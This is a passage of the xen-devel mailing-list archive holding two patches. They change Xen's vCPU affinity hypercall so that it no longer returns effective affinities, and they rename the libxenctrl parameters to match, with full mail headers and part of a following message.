 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904580; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=eHLTBeGgYNLdb9o5EF92sUCLA1iLOlkHRzk4jz8IGiQ=;
	b=WxgOEtUNI3sdwzFIUTtXShDsriBbBzUldTOXEQxT0sH5yfsbtNS151iYxQJw4wyTY5fSQW
	5nqcg5yOupZe9vzqagQDrVOmRMU66WA1FVqoxEcdfGj5MYsadumODIwmR2FnxPWpkamYY1
	bQbJW+2PFdIZgeg1XMS4ah3gNsOse8M=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=WxgOEtUN
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904580; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=eHLTBeGgYNLdb9o5EF92sUCLA1iLOlkHRzk4jz8IGiQ=;
	b=WxgOEtUNI3sdwzFIUTtXShDsriBbBzUldTOXEQxT0sH5yfsbtNS151iYxQJw4wyTY5fSQW
	5nqcg5yOupZe9vzqagQDrVOmRMU66WA1FVqoxEcdfGj5MYsadumODIwmR2FnxPWpkamYY1
	bQbJW+2PFdIZgeg1XMS4ah3gNsOse8M=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	George Dunlap <gwd@xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH 2/3] xen: don't let XEN_DOMCTL_setvcpuaffinity return the new affinities
Date: Wed,  1 Jul 2026 13:16:05 +0200
Message-ID: <20260701111606.4063972-3-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260701111606.4063972-1-jgross@suse.com>
References: <20260701111606.4063972-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns,suse.com:email,suse.com:dkim,suse.com:mid];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	MIME_TRACE(0.00)[0:+];
	FROM_HAS_DN(0.00)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCPT_COUNT_SEVEN(0.00)[11];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	TO_DN_SOME(0.00)[];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: 3062C73A63
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-33051d/1782904580-BDFBB5D1-DAD606B7/0/0
X-purgate-type: clean
X-purgate-size: 5760

There is no in-tree user of XEN_DOMCTL_setvcpuaffinity left relying on
the returned effective affinity settings.

Drop returning the new affinities, as any error occurring for that
will be reported to the user, while the affinities won't be changed
back to what they were. This would result in the caller believing
that the affinity was not modified, while it might have been.

Fix a comment typo while modifying vcpu_affinity_domctl().

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 xen/common/sched/core.c     | 40 +++++++++----------------------------
 xen/include/public/domctl.h |  9 ++-------
 2 files changed, 11 insertions(+), 38 deletions(-)

diff --git a/xen/common/sched/core.c b/xen/common/sched/core.c
index 3609721426..1611e60020 100644
--- a/xen/common/sched/core.c
+++ b/xen/common/sched/core.c
@@ -1708,7 +1708,7 @@ int vcpu_affinity_domctl(struct domain *d, uint32_t cmd,
 {
     struct vcpu *v;
     const struct sched_unit *unit;
-    int ret = 0, hret = 0;
+    int ret = 0;
 
     if ( vcpuaff->vcpu >= d->max_vcpus )
         return -EINVAL;
@@ -1724,12 +1724,11 @@ int vcpu_affinity_domctl(struct domain *d, uint32_t cmd,
     if ( cmd == XEN_DOMCTL_setvcpuaffinity )
     {
         cpumask_var_t new_affinity, old_affinity;
-        cpumask_t *online = cpupool_domain_master_cpumask(v->domain);
 
         /*
          * We want to be able to restore hard affinity if we are trying
          * setting both and changing soft affinity (which happens later,
-         * when hard affinity has been succesfully chaged already) fails.
+         * when hard affinity has been successfully changed already) fails.
          */
         if ( !alloc_cpumask_var(&old_affinity) )
             return -ENOMEM;
@@ -1746,25 +1745,14 @@ int vcpu_affinity_domctl(struct domain *d, uint32_t cmd,
         if ( vcpuaff->flags & XEN_VCPUAFFINITY_FORCE )
             vcpu_temporary_affinity(v, NR_CPUS, VCPU_AFFINITY_OVERRIDE);
 
-        /*
-         * We both set a new affinity and report back to the caller what
-         * the scheduler will be effectively using.
-         */
         if ( vcpuaff->flags & XEN_VCPUAFFINITY_HARD )
         {
-            hret = xenctl_bitmap_to_bitmap(cpumask_bits(new_affinity),
+            ret = xenctl_bitmap_to_bitmap(cpumask_bits(new_affinity),
                                            &vcpuaff->cpumap_hard, nr_cpu_ids);
-            if ( !hret )
-                hret = vcpu_set_hard_affinity(v, new_affinity);
-            if ( hret )
+            if ( !ret )
+                ret = vcpu_set_hard_affinity(v, new_affinity);
+            if ( ret )
                 goto setvcpuaffinity_out;
-
-            /*
-             * For hard affinity, what we return is the intersection of
-             * cpupool's online mask and the new hard affinity.
-             */
-            cpumask_and(new_affinity, online, unit->cpu_hard_affinity);
-            hret = cpumask_to_xenctl_bitmap(&vcpuaff->cpumap_hard, new_affinity);
         }
         if ( vcpuaff->flags & XEN_VCPUAFFINITY_SOFT )
         {
@@ -1782,17 +1770,7 @@ int vcpu_affinity_domctl(struct domain *d, uint32_t cmd,
                  */
                 if ( vcpuaff->flags & XEN_VCPUAFFINITY_HARD )
                     vcpu_set_hard_affinity(v, old_affinity);
-                goto setvcpuaffinity_out;
             }
-
-            /*
-             * For soft affinity, we return the intersection between the
-             * new soft affinity, the cpupool's online map and the (new)
-             * hard affinity.
-             */
-            cpumask_and(new_affinity, new_affinity, online);
-            cpumask_and(new_affinity, new_affinity, unit->cpu_hard_affinity);
-            ret = cpumask_to_xenctl_bitmap(&vcpuaff->cpumap_soft, new_affinity);
         }
 
  setvcpuaffinity_out:
@@ -1802,14 +1780,14 @@ int vcpu_affinity_domctl(struct domain *d, uint32_t cmd,
     else
     {
         if ( vcpuaff->flags & XEN_VCPUAFFINITY_HARD )
-            hret = cpumask_to_xenctl_bitmap(&vcpuaff->cpumap_hard,
+            ret = cpumask_to_xenctl_bitmap(&vcpuaff->cpumap_hard,
                                             unit->cpu_hard_affinity);
-        if ( vcpuaff->flags & XEN_VCPUAFFINITY_SOFT )
+        if ( !ret && vcpuaff->flags & XEN_VCPUAFFINITY_SOFT )
             ret = cpumask_to_xenctl_bitmap(&vcpuaff->cpumap_soft,
                                            unit->cpu_soft_affinity);
     }
 
-    return hret ?: ret;
+    return ret;
 }
 
 bool alloc_affinity_masks(struct affinity_masks *affinity)
diff --git a/xen/include/public/domctl.h b/xen/include/public/domctl.h
index cdf350a290..906d2c59d0 100644
--- a/xen/include/public/domctl.h
+++ b/xen/include/public/domctl.h
@@ -357,13 +357,8 @@ struct xen_domctl_vcpuaffinity {
     /*
      * IN/OUT variables.
      *
-     * Both are IN/OUT for XEN_DOMCTL_setvcpuaffinity, in which case they
-     * contain effective hard or/and soft affinity. That is, upon successful
-     * return, cpumap_soft, contains the intersection of the soft affinity,
-     * hard affinity and the cpupool's online CPUs for the domain (if
-     * XEN_VCPUAFFINITY_SOFT was set in flags). cpumap_hard contains the
-     * intersection between hard affinity and the cpupool's online CPUs (if
-     * XEN_VCPUAFFINITY_HARD was set in flags).
+     * Both are IN-only for XEN_DOMCTL_setvcpuaffinity, in which case they
+     * contain effective hard or/and soft affinity.
      *
      * Both are OUT-only for XEN_DOMCTL_getvcpuaffinity, in which case they
      * contain the plain hard and/or soft affinity masks that were set during
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:16:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:16:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349775.1607437 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvc-0001eE-7N; Wed, 01 Jul 2026 11:16:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349775.1607437; Wed, 01 Jul 2026 11:16:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wesvc-0001e6-4W; Wed, 01 Jul 2026 11:16:28 +0000
Received: by outflank-mailman (input) for mailman id 1349775;
 Wed, 01 Jul 2026 11:16:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wesva-0001bA-Pd
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:16:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wesva-003663-65
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:16:26 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f709-2eae-0a2a0a5409dd-0a2a4506d3e8-6
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:26 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a44f709-08de-0a2a45060019-c387df83d738-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:16:25 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id A685F75C3A;
 Wed,  1 Jul 2026 11:16:25 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 83C02779AA;
 Wed,  1 Jul 2026 11:16:25 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id PYjUHgn3RGoEAgAAD6G6ig
 (envelope-from <jgross@suse.com>); Wed, 01 Jul 2026 11:16:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904585; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=2t/WHu9BiecxDO+oBqpdeXwPpVi0SCaRQ5V3xF2p+VU=;
	b=hs6TvoaspCKSX7Q68ECL2s4YoFqNJJpwoirSRZaZJ8PDAIRTZ3cBdhlPSb2ONon782l5V7
	wWPvKg1xpVYJR1aVKk3RmIVM9HYL3sk/eNhDR/UNJJB9QM2wo0badB11Xt8OU1xI7CiECa
	0git7o0hLtQykU2ffHn+9qTPgBhsJ3o=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=hs6Tvoas
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1782904585; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=2t/WHu9BiecxDO+oBqpdeXwPpVi0SCaRQ5V3xF2p+VU=;
	b=hs6TvoaspCKSX7Q68ECL2s4YoFqNJJpwoirSRZaZJ8PDAIRTZ3cBdhlPSb2ONon782l5V7
	wWPvKg1xpVYJR1aVKk3RmIVM9HYL3sk/eNhDR/UNJJB9QM2wo0badB11Xt8OU1xI7CiECa
	0git7o0hLtQykU2ffHn+9qTPgBhsJ3o=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH 3/3] tools/libxenctrl: rename parameters of xc_vcpu_setaffinity()
Date: Wed,  1 Jul 2026 13:16:06 +0200
Message-ID: <20260701111606.4063972-4-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260701111606.4063972-1-jgross@suse.com>
References: <20260701111606.4063972-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: A685F75C3A
X-Spam-Flag: NO
X-Spam-Score: -4.01
X-Spam-Level: 
X-Spamd-Result: default: False [-4.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	DWL_DNSWL_LOW(-1.00)[suse.com:dkim];
	MID_CONTAINS_FROM(1.00)[];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	ARC_NA(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:dkim,suse.com:email,suse.com:mid,imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo];
	MIME_TRACE(0.00)[0:+];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	TO_DN_SOME(0.00)[];
	FROM_HAS_DN(0.00)[];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	FROM_EQ_ENVFROM(0.00)[];
	RCPT_COUNT_THREE(0.00)[3];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-16d1c6/1782904585-C5B3A68D-500FB331/0/0
X-purgate-type: clean
X-purgate-size: 5707

The cpumaps passed to xc_vcpu_setaffinity() are input-only now, so
drop the "_inout" suffix from their names and make them const.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 tools/include/xenctrl.h     | 26 ++++++--------------------
 tools/libs/ctrl/xc_domain.c | 26 ++++++++++++--------------
 2 files changed, 18 insertions(+), 34 deletions(-)

diff --git a/tools/include/xenctrl.h b/tools/include/xenctrl.h
index d5dbf69c89..96fb0cc81f 100644
--- a/tools/include/xenctrl.h
+++ b/tools/include/xenctrl.h
@@ -590,37 +590,23 @@ int xc_domain_node_getaffinity(xc_interface *xch,
  * There are two kinds of affinity. Soft affinity is on what CPUs a vcpu
  * prefers to run. Hard affinity is on what CPUs a vcpu is allowed to run.
  * If flags contains XEN_VCPUAFFINITY_SOFT, the soft affinity it is set to
- * what cpumap_soft_inout contains. If flags contains XEN_VCPUAFFINITY_HARD,
- * the hard affinity is set to what cpumap_hard_inout contains. Both flags
+ * what cpumap_soft contains. If flags contains XEN_VCPUAFFINITY_HARD,
+ * the hard affinity is set to what cpumap_hard contains. Both flags
  * can be set at the same time, in which case both soft and hard affinity are
  * set to what the respective parameter contains.
  *
- * The function also returns the effective hard or/and soft affinity, still
- * via the cpumap_soft_inout and cpumap_hard_inout parameters. Effective
- * affinity is, in case of soft affinity, the intersection of soft affinity,
- * hard affinity and the cpupool's online CPUs for the domain, and is returned
- * in cpumap_soft_inout, if XEN_VCPUAFFINITY_SOFT is set in flags. In case of
- * hard affinity, it is the intersection between hard affinity and the
- * cpupool's online CPUs, and is returned in cpumap_hard_inout, if
- * XEN_VCPUAFFINITY_HARD is set in flags. If both flags are set, both soft
- * and hard affinity are returned in the respective parameter.
- *
- * We do report it back as effective affinity is what the Xen scheduler will
- * actually use, and we thus allow checking whether or not that matches with,
- * or at least is good enough for, the caller's purposes.
- *
  * @param xch a handle to an open hypervisor interface.
  * @param domid the id of the domain to which the vcpu belongs
  * @param vcpu the vcpu id wihin the domain
- * @param cpumap_hard_inout specifies(/returns) the (effective) hard affinity
- * @param cpumap_soft_inout specifies(/returns) the (effective) soft affinity
+ * @param cpumap_hard specifies the hard affinity
+ * @param cpumap_soft specifies the soft affinity
  * @param flags what we want to set
  */
 int xc_vcpu_setaffinity(xc_interface *xch,
                         uint32_t domid,
                         int vcpu,
-                        xc_cpumap_t cpumap_hard_inout,
-                        xc_cpumap_t cpumap_soft_inout,
+                        const xc_cpumap_t cpumap_hard,
+                        const xc_cpumap_t cpumap_soft,
                         uint32_t flags);
 
 /**
diff --git a/tools/libs/ctrl/xc_domain.c b/tools/libs/ctrl/xc_domain.c
index 01c0669c88..3ee0e43ea5 100644
--- a/tools/libs/ctrl/xc_domain.c
+++ b/tools/libs/ctrl/xc_domain.c
@@ -199,15 +199,13 @@ int xc_domain_node_getaffinity(xc_interface *xch,
 int xc_vcpu_setaffinity(xc_interface *xch,
                         uint32_t domid,
                         int vcpu,
-                        xc_cpumap_t cpumap_hard_inout,
-                        xc_cpumap_t cpumap_soft_inout,
+                        const xc_cpumap_t cpumap_hard,
+                        const xc_cpumap_t cpumap_soft,
                         uint32_t flags)
 {
     struct xen_domctl domctl = {};
-    DECLARE_HYPERCALL_BOUNCE(cpumap_hard_inout, 0,
-                             XC_HYPERCALL_BUFFER_BOUNCE_BOTH);
-    DECLARE_HYPERCALL_BOUNCE(cpumap_soft_inout, 0,
-                             XC_HYPERCALL_BUFFER_BOUNCE_BOTH);
+    DECLARE_HYPERCALL_BOUNCE(cpumap_hard, 0, XC_HYPERCALL_BUFFER_BOUNCE_IN);
+    DECLARE_HYPERCALL_BOUNCE(cpumap_soft, 0, XC_HYPERCALL_BUFFER_BOUNCE_IN);
     int ret = -1;
     int cpusize;
 
@@ -218,11 +216,11 @@ int xc_vcpu_setaffinity(xc_interface *xch,
         return -1;
     }
 
-    HYPERCALL_BOUNCE_SET_SIZE(cpumap_hard_inout, cpusize);
-    HYPERCALL_BOUNCE_SET_SIZE(cpumap_soft_inout, cpusize);
+    HYPERCALL_BOUNCE_SET_SIZE(cpumap_hard, cpusize);
+    HYPERCALL_BOUNCE_SET_SIZE(cpumap_soft, cpusize);
 
-    if ( xc_hypercall_bounce_pre(xch, cpumap_hard_inout) ||
-         xc_hypercall_bounce_pre(xch, cpumap_soft_inout) )
+    if ( xc_hypercall_bounce_pre(xch, cpumap_hard) ||
+         xc_hypercall_bounce_pre(xch, cpumap_soft) )
     {
         PERROR("Could not allocate hcall buffers for DOMCTL_setvcpuaffinity");
         goto out;
@@ -234,17 +232,17 @@ int xc_vcpu_setaffinity(xc_interface *xch,
     domctl.u.vcpuaffinity.flags = flags;
 
     set_xen_guest_handle(domctl.u.vcpuaffinity.cpumap_hard.bitmap,
-                         cpumap_hard_inout);
+                         cpumap_hard);
     domctl.u.vcpuaffinity.cpumap_hard.nr_bits = cpusize * 8;
     set_xen_guest_handle(domctl.u.vcpuaffinity.cpumap_soft.bitmap,
-                         cpumap_soft_inout);
+                         cpumap_soft);
     domctl.u.vcpuaffinity.cpumap_soft.nr_bits = cpusize * 8;
 
     ret = do_domctl(xch, &domctl);
 
  out:
-    xc_hypercall_bounce_post(xch, cpumap_hard_inout);
-    xc_hypercall_bounce_post(xch, cpumap_soft_inout);
+    xc_hypercall_bounce_post(xch, cpumap_hard);
+    xc_hypercall_bounce_post(xch, cpumap_soft);
 
     return ret;
 }
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:21:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:21:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349807.1607446 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wet0Z-000456-PZ; Wed, 01 Jul 2026 11:21:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349807.1607446; Wed, 01 Jul 2026 11:21:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wet0Z-00044z-Ma; Wed, 01 Jul 2026 11:21:35 +0000
Received: by outflank-mailman (input) for mailman id 1349807;
 Wed, 01 Jul 2026 11:21:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wet0Z-00044t-4X
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:21:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wet0Y-008Jx0-0h
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:21:34 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44f838-bab6-0a2a0a5309dd-0a2a4506ad4a-28
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:21:33 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44f83d-08de-0a2a45060019-d1558036b1ce-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:21:33 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493b7612475so4175865e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 04:21:33 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493bfe7427dsm30066585e9.2.2026.07.01.04.21.32
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 04:21:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782904893; x=1783509693; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=yYqd0TQWneNELNrgVFcNFC5RMvVEYdbDE3gPcNnxkYg=;
        b=rAiEnPkE1WoQgGlw/THW13s+1Z15Omo5RxLlADdvewcaHrBpx0zNtfWYb6KpWGmoVb
         L46RdnBLFSrfRKIhZAeAiAAjADo9LDEYZzE6TjlKg2EsxZnPu97BqT7mCoKcubvg4Bzp
         GmNPy8KxXOurKKtxBv7CMm0ee4OFygj0yhziClbV6XLxj06UEGzcIH8+dTYIpCzcg0pe
         SauiNG4EqBPISQ1m4jTTnFeRzGajjd3x9SJ6Qcb3vai6ypfvEfEAi8Z59WzAKNlWFU1C
         zupAW2VK5kYARy9T6gbhO8419PeY/5YerqHJVi89XZE/yjkmPNFJQkfP/1am+5KHE6uo
         WTvQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782904893; x=1783509693;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=yYqd0TQWneNELNrgVFcNFC5RMvVEYdbDE3gPcNnxkYg=;
        b=mIMNBC1fICVhJmIMRWETPMN1PIGv39QRw6gDefG9Q6OxVrpa5X+/s6ojY6K4zvltic
         LCUNoUblrRYDhj3HspcgTi7H67x6cuDtOjkwURP/kWpKHJ/Wvt3N10v/yCIKIBZhc+jb
         S7xic9JQTECgC8C4bABV8aB9NrnOZ9FlpqK+V9w6UC+TbeZxMkunfo6TYgBoWiHkqagq
         GDka/PWnZ3IAoUTsvVcSNmsOMyxDNn03tdUGhJQn+Poc53fF7uyJxNs739pkYj8bboJv
         1JJXvEsQZDLgfvw5P9vqrK5y3c9FadLrmUCRoyUqlsKKWH6yjsAVyCqUP+HRR8FYo+S+
         uUuA==
X-Forwarded-Encrypted: i=1; AFNElJ8VEl2BEmJ4C0xND0jKlND2JUJXzOCZ4JVaQFwSn5ZqnVMVjWIyBLw0NpEkqPESzJeeoLtIMUZP6M0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxD0fbwfFY6k1hzVKyl4zG1/YzXvux+w1HhAe+e5gHd4K5zMBFR
